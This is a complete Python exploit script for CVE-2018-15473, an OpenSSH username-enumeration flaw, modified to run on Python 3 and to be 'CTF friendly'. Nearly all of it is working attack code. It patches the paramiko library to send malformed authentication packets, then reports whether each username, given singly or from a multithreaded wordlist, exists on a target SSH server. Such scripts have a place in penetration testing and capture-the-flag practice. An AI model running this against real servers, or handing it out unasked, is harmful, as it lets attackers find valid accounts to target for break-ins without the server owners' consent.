Modified version of CVE-2018-15473 originally coded by Justin Gardner.

ssh-enumusers.py

# Exploit: OpenSSH 7.7 - Username Enumeration
# Author: Justin Gardner
# Date: 2018-08-20
# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz
# Affected Versions: OpenSSH version < 7.7
# CVE: CVE-2018-15473
#
# Modified version by Jean-Pierre LESUEUR (@darkcodersc) 04/11/2019
#  --> Support Python3
#  --> Removed export functions
#  --> Display result visually only (more CTF friendly)
#
###########################################################################
#                ____                    _____ _____ _    _               #
#               / __ \                  / ____/ ____| |  | |              #
#              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
#              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
#              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
#               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
#                     | |               Username Enumeration              #
#                     |_|                                                 #
#                                                                         #
###########################################################################

#!/bin/python3

import argparse
import logging
import paramiko
import multiprocessing
import socket
import sys
import json

# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT]

# create custom exception
class BadUsername(Exception):
	def __init__(self):
		pass

# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
    pass

# create function to call when username was invalid
def call_error(*args, **kwargs):
    raise BadUsername()

# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
    old_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = add_boolean
    result  = old_parse_service_accept(*args, **kwargs)
    #return old add_boolean function so start_client will work again
    paramiko.message.Message.add_boolean = old_add_boolean
    return result

# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
	sock = socket.socket()
	sock.connect((args.hostname, args.port))
	# instantiate transport
	transport = paramiko.transport.Transport(sock)
	try:
	    transport.start_client()
	except paramiko.ssh_exception.SSHException:
	    # server was likely flooded, retry up to 3 times
	    transport.close()
	    if tried < 4:
	    	tried += 1

	    	return checkUsername(username, tried)
	    else:
	    	print('[\033[31mKO\033[39m] Failed to negotiate SSH transport')
	try:
		transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
	except BadUsername:	
		print("[\033[33mINVALID\033[39m] " + username)

		return False
	except paramiko.ssh_exception.AuthenticationException:
		print("[\033[32mVALID  \033[39m] " + username)

		return True

	raise Exception("[\033[31mKO\033[39m] There was an error. Is this the correct version of OpenSSH?")

# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error

# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
    sock.close()
except socket.error:
    print('[\033[31mKO\033[39m] Connecting to host failed. Please check the specified host and port.')
    sys.exit(1)

if args.username: #single username passed in
	checkUsername(args.username)
elif args.userList: #username list passed in
	try:
		f = open(args.userList)
	except IOError:
		print("[\033[31mKO\033[39m] File doesn't exist or is unreadable.")
		sys.exit(3)
	usernames = map(str.strip, f.readlines())
	f.close()

	pool = multiprocessing.Pool(args.threads)
	pool.map(checkUsername, usernames)
else: # no usernames passed in
	print ("[\033[31mKO\033[39m] No usernames provided to check")
	sys.exit(4)